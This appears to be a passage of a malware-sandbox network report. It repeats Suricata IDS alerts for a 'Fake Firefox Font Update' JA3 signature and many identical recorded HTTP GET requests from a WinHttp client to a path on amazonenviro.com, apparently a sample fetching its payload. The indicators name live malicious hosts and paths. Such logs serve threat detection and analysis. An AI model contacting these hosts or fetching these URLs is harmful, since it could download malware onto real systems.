Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50089 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50093 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50045 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50085 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50101 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50125 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50119 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50103 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50073 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50113 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50067 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50107 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50077 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50041 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50111 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50069 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50097 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50123 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50121 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50083 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50081 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50117 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50063 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50109 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50065 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50115 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50079 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50099 -> 166.62.27.188:443

Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Tzzlqsjvkee HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
